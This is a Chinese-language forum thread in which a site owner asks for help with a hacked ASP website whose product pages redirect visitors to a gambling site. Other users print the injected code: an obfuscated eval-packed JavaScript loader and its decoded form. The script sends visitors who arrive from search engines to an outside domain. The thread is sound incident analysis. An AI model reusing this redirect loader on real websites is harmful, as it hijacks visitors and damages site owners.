网站被挂马，插跳转。哪位大神能帮我看看？

wife8114

http://www.sirasun.com/
点击两个产品，页面就跳转到一个赌  bo网站了。
大佬们能指定一二吗？

LOC论坛最屌MJJ

本帖最后由 LOC论坛最屌MJJ 于 2018-8-10 18:44 编辑

这种是 肯定是要付红包才能搞定的啦




这个看起来怪怪的，另外asp之前的代码看不到 有可能产品页的asp里面还有跳转

bob1987

删掉就行啦。貌似是这个，不过即使删了还是被挂马，你的网址程序是asp的，肯定漏洞一大把，找个php程序重新做吧

fifalan

简单加密的。f(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 ) 这段是判断搜索引擎爬虫的？

jshkk

[ol]

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('3.4("");3.4("e 1=3.g");3.4("f(1.2(\"b\")>0 || 1.2(\"7\")>0 || 1.2(\"6\")>0 ||1.2(\"8\")>0 ||1.2(\"a\")>0 ||1.2(\"9\")>0 ||1.2(\"n\")>0 ||1.2(\"q\")>0 )");3.4("m.i=\"h://j.l.k/p.o\";");3.4("");',27,27,'|s|indexOf|document|writeln|script|soso|sogou|sm|bing|uc|baidu|Javascript|LANGUAGE|var|if|referrer|http|href|you|vip|wangtou888|location|yahoo|html|index|so'.split('|'),0,{}))[/ol]复制代码

解码后：：
[ol]

document.writeln("");[/ol]复制代码
然后就跳转到了http://you。wangtou888。vip/index.html

Vhc

[ol]

var s = document.referrer;

if (s.indexOf("baidu") > 0 || s.indexOf("sogou") > 0 || s.indexOf("soso") > 0 || s.indexOf("sm") > 0 || s.indexOf("uc") > 0 || s.indexOf("bing") > 0 || s.indexOf("yahoo") > 0 || s.indexOf("so") > 0) {

    location.href = "http://you.wangtou888.vip/index.html";

}

[/ol]复制代码

怪人

大佬牛x

wife8114

bob1987 发表于 2018-8-10 18:42

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!' ...
有什么靠谱的php程序，求推荐。
就是这段js，感谢。

wife8114

jshkk 发表于 2018-8-10 21:42

解码后：：

然后就跳转到了http://you。wangtou888。vip/index.html
感谢，直接命中要害！